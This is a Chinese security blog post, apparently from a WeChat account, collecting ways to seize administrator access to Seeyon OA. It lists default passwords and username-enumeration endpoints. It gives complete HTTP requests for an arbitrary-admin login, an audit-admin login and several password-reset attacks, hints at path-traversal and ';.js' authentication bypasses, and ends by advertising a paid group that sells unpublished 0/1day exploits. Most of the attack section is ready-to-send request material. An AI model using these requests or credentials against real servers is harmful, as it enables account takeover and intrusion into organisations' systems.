免责声明
本公众号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。
前言
之前发过[漏洞复现]致远在野nday constDef接口存在代码执行漏洞是个后台洞,说起来也算是全网首发。致远的后台洞非常的多,可以说是只要能成功绕过或获取后台权限,就可以说是拿下了。所以今天分享一下致远获取后台权限及权限绕过的方法。
默认口令
audit-admin/seeyon123456
admin1/123456
group-admin/123456
system/system
用户名枚举
这几个接口存在用户名枚举,可以配合下面爆破或者需要知道用户名的密码更改的漏洞使用。
/seeyon/rest/password/retrieve/send/{username}
/seeyon/rest/password/retrieve/getEmailByLoginName/{username}
/seeyon/personalBind.do?method=getBindTypeByLoginName&loginName={username}
thirdpartyController任意管理员用户登录
这个只有在部分老一点的致远中才可以遇到。
GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjI3OTM2MjU4MjQ4ODY= HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
可以在响应包中得到一个JSESSIONID
,在携带JSESSIONID
访问/seeyon/online.do
接口进行验证(当然这个接口也可以用于一下获取到的jsessionid的严验证)。
GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host:
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=获取到的cookie
Connection: close
具体原理不重复分析,怕文章太长。文章参考:https://fanygit.github.io/2023/04/27/致远OA A8-V5 任意用户登录漏洞分析/
需要自己更改payload的话用致远中LightWeightEncoder.decodeString
这个方法加密即可。
需要自己更改payload的话用致远中LightWeightEncoder.decodeString
这个方法加密即可。
ucpcLogin审计管理员登录
这个是我目前常用的获取后台权限的方法之一,全版本都可以尝试。
接口利用审计管理员默认用户密码登录(audit-admin/seeyon123456),登录成功后可以获取合法cookie(也是返回包中的set-cookie字段)
POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
login_username=audit-admin&login_password=seeyon123456
接口本质上好像就是一个登录接口,如果默认账号密码失败的的话,可能可以利用上面用户名枚举爆破用户名,这个接口这里爆破密码。
rest接口密码重置
可以更改任意管理员的密码。
发送如下请求,重置密码为share.do
PUT /seeyon/rest/orgMember/-7273032013234748168/password/share.do HTTP/1.1
Host: 192.168.37.138:8886
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1E4AA17811924EA74C61F1DC77AD9505; loginPageURL=
If-None-Match: W/"950464-1696145816972"
If-Modified-Since: Sun, 01 Oct 2023 07:36:56 GMT
Connection: close
具体原理移步至:https://xz.aliyun.com/t/13741
致远前台任意用户密码修改
需要知道用户名,用户名可以通过上面的接口爆破。
/seeyon/personalBind.do?method=retrievePassword
/seeyon/personalBind.do?method=sendVerificationCodeToBindNum&type=validate&origin=zx
修改密码为1qaz@WSX
/seeyon/individualManager.do?method=resetPassword&nowpwd=1qaz
resetPassword接口密码重置
用户名可通过上面枚举接口枚举。
POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Content-Length: 24
{"loginName":"admin","password":"1qaz@WSX12312123"}
各个版本权限绕过
这一少部分留在星球,比如说致远的古早版本可以通过访问可匿名访问目录,再通过../的方法穿越,或者通过;.js访问静态文件的方式绕过。7.x及8.x都有对应的绕过缺陷。
关于星球
星球里有团队内部POC分享。星球定期更新安全内容,包括:内部漏洞库情报分享(包括部分未公开0/1day)、poc利用工具及内部最新研究成果。圈子目前价格为89元(交个朋友),后续人员加入数量多的话会考虑涨价(先到先得!!)。感谢师傅们的支持!!
可能有之前关注我们公众号的师傅会疑问,为什么之前是59元,现在是89元了。因为我们的星球满50人了,决定涨一次价格。在涨价后我们也会发出一轮优惠券,还在观望的师傅也可以先进来参观一轮,优惠券截止日期为2024年8月2日,这里再次感谢师傅们的支持。
以下有10元优惠券20张及20元优惠券10张,先到先得。
原文始发于微信公众号(良月安全):[漏洞合集]致远获取后台权限及权限绕过漏洞大合集
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论